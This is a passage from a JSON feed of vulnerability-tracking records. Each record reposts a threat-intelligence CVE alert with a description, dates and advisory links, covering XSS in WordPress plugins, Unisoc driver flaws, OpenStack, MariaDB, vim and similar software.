2025-03-25T20:50:43.442Z\n\ud83d\udd17 References:\n1. https://www.unisoc.com/en_us/secy/announcementDetail/1621031430231134210", "creation_timestamp": "2025-03-25T21:25:14.000000Z"}, {"uuid": "7e4dc835-27b1-4a3e-95c8-b3df9ebd1826", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-4717", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/8781", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2022-4717\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: The Strong Testimonials WordPress plugin before 3.0.3 does not validate and escape some of its shortcode attributes before outputting them back in the page, which could allow users with a role as low as contributor to perform Stored Cross-Site Scripting attacks which could be used against high privilege users such as admins.\n\ud83d\udccf Published: 2023-02-06T19:59:15.762Z\n\ud83d\udccf Modified: 2025-03-25T20:42:26.553Z\n\ud83d\udd17 References:\n1. https://wpscan.com/vulnerability/14b679f5-44a8-46d4-89dd-94eb647cb672", "creation_timestamp": "2025-03-25T21:25:30.000000Z"}, {"uuid": "0037d1df-3f8d-4c15-88be-5435af4fdcef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47412", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/8673", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2022-47413\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: \nGiven a malicious document provided by an attacker, the OpenKM DMS is vulnerable to a stored (persistent, or \"Type II\") XSS condition.\n\n\n\ud83d\udccf Published: 2023-02-07T21:37:34.095Z\n\ud83d\udccf Modified: 2025-03-25T14:08:53.524Z\n\ud83d\udd17 References:\n1. https://www.rapid7.com/blog/post/2023/02/07/multiple-dms-xss-cve-2022-47412-through-cve-20222-47419/", "creation_timestamp": "2025-03-25T14:24:31.000000Z"}, {"uuid": "be69fe6c-db3f-4276-9eca-1c9a97b3fc21", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47368", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/8842", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2022-47368\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: In wlan driver, there is a possible missing params check. This could lead to local denial of service in wlan services.\n\ud83d\udccf Published: 2023-02-06T05:28:02.578Z\n\ud83d\udccf Modified: 2025-03-26T14:16:08.139Z\n\ud83d\udd17 References:\n1. https://www.unisoc.com/en_us/secy/announcementDetail/1621031430231134210", "creation_timestamp": "2025-03-26T14:25:03.000000Z"}, {"uuid": "41606dc9-e546-494a-9195-dc7ef8b67053", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47367", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/8840", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2022-47367\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: In bluetooth driver, there is a missing permission check. This could lead to local information disclosure with no additional execution privileges needed.\n\ud83d\udccf Published: 2023-02-06T05:28:01.632Z\n\ud83d\udccf Modified: 2025-03-26T14:17:00.646Z\n\ud83d\udd17 References:\n1. https://www.unisoc.com/en_us/secy/announcementDetail/1621031430231134210", "creation_timestamp": "2025-03-26T14:25:02.000000Z"}, {"uuid": "3be15386-ad8a-45ec-b26d-8e8948ea5b5a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-4747", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/8730", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2022-4747\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: The Post Category Image With Grid and Slider WordPress plugin before 1.4.8 does not validate and escape some of its shortcode attributes before outputting them back in the page, which could allow users with a role as low as contributor to perform Stored Cross-Site Scripting attacks which could be used against high privilege users such as admins.\n\ud83d\udccf Published: 2023-02-06T19:59:31.288Z\n\ud83d\udccf Modified: 2025-03-25T18:11:12.312Z\n\ud83d\udd17 References:\n1. https://wpscan.com/vulnerability/004f1872-1576-447f-8837-f29fa319cbdc", "creation_timestamp": "2025-03-25T18:25:22.000000Z"}, {"uuid": "2a2566bb-68a3-4431-a6f5-4915af30be85", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47451", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/8772", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2022-47451\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: In wlan driver, there is a possible missing params check. This could lead to local denial of service in wlan services.\n\ud83d\udccf Published: 2023-02-06T05:28:06.346Z\n\ud83d\udccf Modified: 2025-03-25T20:48:09.382Z\n\ud83d\udd17 References:\n1. https://www.unisoc.com/en_us/secy/announcementDetail/1621031430231134210", "creation_timestamp": "2025-03-25T21:25:16.000000Z"}, {"uuid": "d59e62ce-8c2c-4052-8509-6eff3c948c4c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-4756", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/8778", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2022-4756\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: The My YouTube Channel WordPress plugin before 3.23.0 does not validate and escape some of its shortcode attributes before outputting them back in the page, which could allow users with a role as low as contributor to perform Stored Cross-Site Scripting attacks which could be used against high privilege users such as admins.\n\ud83d\udccf Published: 2023-02-06T19:59:14.149Z\n\ud83d\udccf Modified: 2025-03-25T20:44:44.644Z\n\ud83d\udd17 References:\n1. https://wpscan.com/vulnerability/d67b0f7a-fdb1-4305-9976-c5f77b0e3b61", "creation_timestamp": "2025-03-25T21:25:24.000000Z"}, {"uuid": "fa1a594f-6597-4fdc-b1ad-9b6bfe5d277a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47366", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/8839", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2022-47366\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: In wlan driver, there is a possible out of bounds write due to a missing bounds check. This could lead to local denial of service in wlan services.\n\ud83d\udccf Published: 2023-02-06T05:27:59.628Z\n\ud83d\udccf Modified: 2025-03-26T14:17:58.934Z\n\ud83d\udd17 References:\n1. https://www.unisoc.com/en_us/secy/announcementDetail/1621031430231134210", "creation_timestamp": "2025-03-26T14:25:01.000000Z"}, {"uuid": "3c60e1d4-b478-4728-b4ef-813dbeb0765c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47769", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/9136", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2022-47769\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: An arbitrary file write vulnerability in Serenissima Informatica Fast Checkin v1.0 allows unauthenticated attackers to upload malicious files in the web root of the application to gain access to the server via the web shell.\n\ud83d\udccf Published: 2023-02-01T00:00:00.000Z\n\ud83d\udccf Modified: 2025-03-27T16:09:07.533Z\n\ud83d\udd17 References:\n1. http://serenissima.com\n2. https://www.swascan.com/it/security-advisory-serenissima-informatica-fastcheckin/", "creation_timestamp": "2025-03-27T16:27:02.000000Z"}, {"uuid": "e792c632-5f12-48e1-8ef9-c175cf5c5d8b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47322", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/8849", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2022-47322\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: In wlan driver, there is a possible missing params check. This could lead to local denial of service in wlan services.\n\ud83d\udccf Published: 2023-02-06T05:27:41.571Z\n\ud83d\udccf Modified: 2025-03-26T14:11:42.290Z\n\ud83d\udd17 References:\n1. https://www.unisoc.com/en_us/secy/announcementDetail/1621031430231134210", "creation_timestamp": "2025-03-26T14:25:16.000000Z"}, {"uuid": "fc992395-ac3b-4fff-9cde-68557dec0c48", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47324", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/8851", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2022-47324\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: In wlan driver, there is a possible missing permission check. This could lead to local information disclosure.\n\ud83d\udccf Published: 2023-02-06T05:27:43.453Z\n\ud83d\udccf Modified: 2025-03-26T14:10:08.290Z\n\ud83d\udd17 References:\n1. https://www.unisoc.com/en_us/secy/announcementDetail/1621031430231134210", "creation_timestamp": "2025-03-26T14:25:18.000000Z"}, {"uuid": "43a7d14f-f25d-45f9-a58a-283e03805cf6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47323", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/8850", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2022-47323\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: In wlan driver, there is a possible missing params check. This could lead to local denial of service in wlan services.\n\ud83d\udccf Published: 2023-02-06T05:27:42.500Z\n\ud83d\udccf Modified: 2025-03-26T14:11:01.234Z\n\ud83d\udd17 References:\n1. https://www.unisoc.com/en_us/secy/announcementDetail/1621031430231134210", "creation_timestamp": "2025-03-26T14:25:17.000000Z"}, {"uuid": "3b78b214-9595-46d4-9c21-6742b6954a0e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47326", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/8855", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2022-47326\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: In wlan driver, there is a possible missing permission check. This could lead to local information disclosure.\n\ud83d\udccf Published: 2023-02-06T05:27:45.370Z\n\ud83d\udccf Modified: 2025-03-26T14:07:40.768Z\n\ud83d\udd17 References:\n1. https://www.unisoc.com/en_us/secy/announcementDetail/1621031430231134210", "creation_timestamp": "2025-03-26T14:25:24.000000Z"}, {"uuid": "123923d0-7eb3-4f0e-844e-7b64880677e6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47325", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/8854", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2022-47325\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: In wlan driver, there is a possible missing permission check. This could lead to local information disclosure.\n\ud83d\udccf Published: 2023-02-06T05:27:44.418Z\n\ud83d\udccf Modified: 2025-03-26T14:09:17.063Z\n\ud83d\udd17 References:\n1. https://www.unisoc.com/en_us/secy/announcementDetail/1621031430231134210", "creation_timestamp": "2025-03-26T14:25:23.000000Z"}, {"uuid": "729513a8-7b82-4bae-a227-e8b5df7a5b6c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47369", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/8844", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2022-47369\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: In wlan driver, there is a possible missing params check. This could lead to local denial of service in wlan services.\n\ud83d\udccf Published: 2023-02-06T05:28:03.509Z\n\ud83d\udccf Modified: 2025-03-26T14:15:11.161Z\n\ud83d\udd17 References:\n1. https://www.unisoc.com/en_us/secy/announcementDetail/1621031430231134210", "creation_timestamp": "2025-03-26T14:25:08.000000Z"}, {"uuid": "0c52af5d-9825-4743-81ef-7b1b0a60c608", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47951", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/9707", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2022-47951\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: An issue was discovered in OpenStack Cinder before 19.1.2, 20.x before 20.0.2, and 21.0.0; Glance before 23.0.1, 24.x before 24.1.1, and 25.0.0; and Nova before 24.1.2, 25.x before 25.0.2, and 26.0.0. By supplying a specially created VMDK flat image that references a specific backing file path, an authenticated user may convince systems to return a copy of that file's contents from the server, resulting in unauthorized access to potentially sensitive data.\n\ud83d\udccf Published: 2023-01-26T00:00:00.000Z\n\ud83d\udccf Modified: 2025-03-31T16:49:31.493Z\n\ud83d\udd17 References:\n1. https://launchpad.net/bugs/1996188\n2. https://security.openstack.org/ossa/OSSA-2023-002.html\n3. https://lists.debian.org/debian-lts-announce/2023/01/msg00040.html\n4. https://lists.debian.org/debian-lts-announce/2023/01/msg00041.html\n5. https://lists.debian.org/debian-lts-announce/2023/01/msg00042.html\n6. https://www.debian.org/security/2023/dsa-5336\n7. https://www.debian.org/security/2023/dsa-5338\n8. https://www.debian.org/security/2023/dsa-5337", "creation_timestamp": "2025-03-31T17:30:57.000000Z"}, {"uuid": "4d0ff598-d82f-4f35-810c-b89c7437a04f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-4749", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/9176", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2022-4749\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: The Posts List Designer by Category WordPress plugin before 3.2 does not validate and escape some of its shortcode attributes before outputting them back in the page, which could allow users with a role as low as contributor to perform Stored Cross-Site Scripting attacks which could be used against high privilege users such as admins.\n\ud83d\udccf Published: 2023-01-30T20:31:49.670Z\n\ud83d\udccf Modified: 2025-03-27T19:17:02.454Z\n\ud83d\udd17 References:\n1. https://wpscan.com/vulnerability/8afc3b2a-81e5-4b6f-8f4c-c48492843569", "creation_timestamp": "2025-03-27T19:26:47.000000Z"}, {"uuid": "e22b639e-3ca4-41d9-a86e-3e476300a831", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47697", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/9157", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2022-47697\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: COMFAST (Shenzhen Sihai Zhonglian Network Technology Co., Ltd) CF-WR623N Router firmware V2.3.0.1 and before is vulnerable to Account takeover. Anyone can reset the password of the admin accounts.\n\ud83d\udccf Published: 2023-01-31T00:00:00.000Z\n\ud83d\udccf Modified: 2025-03-27T18:20:10.991Z\n\ud83d\udd17 References:\n1. https://github.com/OlivierLaflamme/cve/blob/main/COMFAST/CF-WR623N/unauth_account_takeover", "creation_timestamp": "2025-03-27T18:26:32.000000Z"}, {"uuid": "e0b7adb9-e8d9-43ca-98d8-effe8a7833e5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47698", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/9161", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2022-47698\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: COMFAST (Shenzhen Sihai Zhonglian Network Technology Co., Ltd) CF-WR623N Router firmware V2.3.0.1 is vulnerable to Cross Site Scripting (XSS) via the URL filtering feature in the router.\n\ud83d\udccf Published: 2023-01-31T00:00:00.000Z\n\ud83d\udccf Modified: 2025-03-27T18:15:46.190Z\n\ud83d\udd17 References:\n1. https://github.com/OlivierLaflamme/cve/blob/main/COMFAST/CF-WR623N/stored_XSS", "creation_timestamp": "2025-03-27T18:26:36.000000Z"}, {"uuid": "c72e9c56-48c3-47d0-a2ec-23caf96232b8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-4765", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/9178", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2022-4765\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: The Portfolio for Elementor WordPress plugin before 2.3.1 does not validate and escape some of its shortcode attributes before outputting them back in the page, which could allow users with a role as low as contributor to perform Stored Cross-Site Scripting attacks which could be used against high privilege users such as admins.\n\ud83d\udccf Published: 2023-01-30T20:31:50.977Z\n\ud83d\udccf Modified: 2025-03-27T19:14:22.502Z\n\ud83d\udd17 References:\n1. https://wpscan.com/vulnerability/a21dc4a3-a4f3-4619-b8a3-493a27e14ccb", "creation_timestamp": "2025-03-27T19:26:50.000000Z"}, {"uuid": "8f12b3fa-c458-4bf7-afea-c97fe4802846", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-4753", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/10333", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2022-4753\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: The Print-O-Matic WordPress plugin before 2.1.8 does not validate and escape some of its shortcode attributes before outputting them back in the page, which could allow users with a role as low as contributor to perform Stored Cross-Site Scripting attacks which could be used against high privilege users such as admins.\n\ud83d\udccf Published: 2023-01-23T14:31:48.865Z\n\ud83d\udccf Modified: 2025-04-03T19:21:46.515Z\n\ud83d\udd17 References:\n1. https://wpscan.com/vulnerability/5d72ec1f-5379-4d8e-850c-afe8b41bb126", "creation_timestamp": "2025-04-03T19:35:44.000000Z"}, {"uuid": "28d28289-0e8c-486d-a5dd-8f575dcb1a9f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47105", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/10308", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2022-47105\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: Jeecg-boot v3.4.4 was discovered to contain a SQL injection vulnerability via the component /sys/dict/queryTableData.\n\ud83d\udccf Published: 2023-01-19T00:00:00.000Z\n\ud83d\udccf Modified: 2025-04-03T18:04:07.526Z\n\ud83d\udd17 References:\n1. https://github.com/jeecgboot/jeecg-boot/issues/4393", "creation_timestamp": "2025-04-03T18:35:40.000000Z"}, {"uuid": "0796dadc-0fc7-4541-94e2-0de37e39344d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47732", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/10272", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2022-47732\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: In Yeastar N412 and N824 Configuration Panel 42.x and 45.x, an unauthenticated attacker can create backup file and download it, revealing admin hash, allowing, once cracked, to login inside the Configuration Panel, otherwise, replacing the hash in the archive and restoring it on the device which will change admin password granting access to the device.\n\ud83d\udccf Published: 2023-01-20T00:00:00.000Z\n\ud83d\udccf Modified: 2025-04-03T15:46:39.550Z\n\ud83d\udd17 References:\n1. https://www.yeastar.com/n-series-analog-phone-system/\n2. https://www.swascan.com/security-advisory-yeastar-n412-and-n824-configuration-panel/", "creation_timestamp": "2025-04-03T16:35:10.000000Z"}, {"uuid": "ca54cd66-3d4a-44e3-8d9a-0c45dcf76e4a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47024", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/10271", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2022-47024\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: A null pointer dereference issue was discovered in function gui_x11_create_blank_mouse in gui_x11.c in vim 8.1.2269 thru 9.0.0339 allows attackers to cause denial of service or other unspecified impacts.\n\ud83d\udccf Published: 2023-01-20T00:00:00.000Z\n\ud83d\udccf Modified: 2025-04-03T15:48:40.676Z\n\ud83d\udd17 References:\n1. https://github.com/vim/vim/commit/a63ad78ed31e36dbdf3a9cd28071dcdbefce7d19\n2. https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/PZWIJBSQX53P7DHV77KRXJIXA4GH7XHC/\n3. https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/4EX6N2DB75A73MQGVW3CS4VTNPAYVM2M/\n4. https://security.gentoo.org/glsa/202305-16", "creation_timestamp": "2025-04-03T16:35:10.000000Z"}, {"uuid": "33872ac5-25d4-4f46-bab1-acc0edce4840", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47012", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/10248", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2022-47012\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: Use of uninitialized variable in function gen_eth_recv in GNS3 dynamips 0.2.21.\n\ud83d\udccf Published: 2023-01-20T00:00:00.000Z\n\ud83d\udccf Modified: 2025-04-03T15:23:37.799Z\n\ud83d\udd17 References:\n1. https://github.com/GNS3/dynamips/issues/125", "creation_timestamp": "2025-04-03T15:35:02.000000Z"}, {"uuid": "783633e8-a86d-4aa3-8332-b99ebb525933", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47015", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/10266", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2022-47015\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: MariaDB Server before 10.3.34 thru 10.9.3 is vulnerable to Denial of Service. It is possible for function spider_db_mbase::print_warnings to dereference a null pointer.\n\ud83d\udccf Published: 2023-01-20T00:00:00.000Z\n\ud83d\udccf Modified: 2025-04-03T15:56:55.472Z\n\ud83d\udd17 References:\n1. https://github.com/MariaDB/server/commit/be0a46b3d52b58956fd0d47d040b9f4514406954\n2. https://security.netapp.com/advisory/ntap-20230309-0009/\n3. https://lists.debian.org/debian-lts-announce/2023/06/msg00005.html\n4. https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/O22PO3Q6TRSNJI2A2WTJH3VVCHEKBF6C/\n5. https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/SUQ33SPQCZQD63TWAM3XKFNVNFRGPFYU/", "creation_timestamp": "2025-04-03T16:35:02.000000Z"}, {"uuid": "cd5edf3b-91ad-413d-86a2-1ed2273cfd80", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47021", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/10268", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2022-47021\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: A null pointer dereference issue was discovered in functions op_get_data and op_open1 in opusfile.c in xiph opusfile 0.9 thru 0.12 allows attackers to cause denial of service or other unspecified impacts.\n\ud83d\udccf Published: 2023-01-20T00:00:00.000Z\n\ud83d\udccf Modified: 2025-04-03T15:53:17.316Z\n\ud83d\udd17 References:\n1. https://github.com/xiph/opusfile/issues/36\n2. https://github.com/xiph/opusfile/commit/0a4cd796df5b030cb866f3f4a5e41a4b92caddf5\n3. https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/ED4CWLBR2WQ2IXXTHZ24UYZBRNCLMJXH/\n4. https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/4LIKBLOE433RA44YTYUZLED4IOWJG5DV/\n5. https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/MYPAQANM2ZNPXRBFOS5NFXNJ7O4Q3OBD/\n6. https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/2ODIA6QRIRBNF2HRXOE5VCZ2AFP4ZB4R/", "creation_timestamp": "2025-04-03T16:35:04.000000Z"}, {"uuid": "e81d3f93-7f5a-41a6-bcf3-501cf357cbab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-4715", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/10336", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2022-4715\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: The Structured Content WordPress plugin before 1.5.1 does not validate and escape some of its shortcode attributes before outputting them back in the page, which could allow users with a role as low as contributor to perform Stored Cross-Site Scripting attacks which could be used against high privilege users such as admins.\n\ud83d\udccf Published: 2023-01-23T14:31:56.331Z\n\ud83d\udccf Modified: 2025-04-03T19:20:22.459Z\n\ud83d\udd17 References:\n1. https://wpscan.com/vulnerability/4394fe86-4240-4454-b724-81464b04123a", "creation_timestamp": "2025-04-03T19:35:47.000000Z"}, {"uuid": "d748c5de-bf7f-4886-bb98-a45c9ebd101a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47197", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/10284", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2022-47197\n\ud83d\udd25 CVSS Score: 9 (cvssV3_0, Vector: CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H)\n\ud83d\udd39 Description: An insecure default vulnerability exists in the Post Creation functionality of Ghost Foundation Ghost 5.9.4. Default installations of Ghost allow non-administrator users to inject arbitrary Javascript in posts, which allow privilege escalation to administrator via XSS. To trigger this vulnerability, an attacker can send an HTTP request to inject Javascript in a post to trick an administrator into visiting the post.A stored XSS vulnerability exists in the `codeinjection_foot` for a post.\n\ud83d\udccf 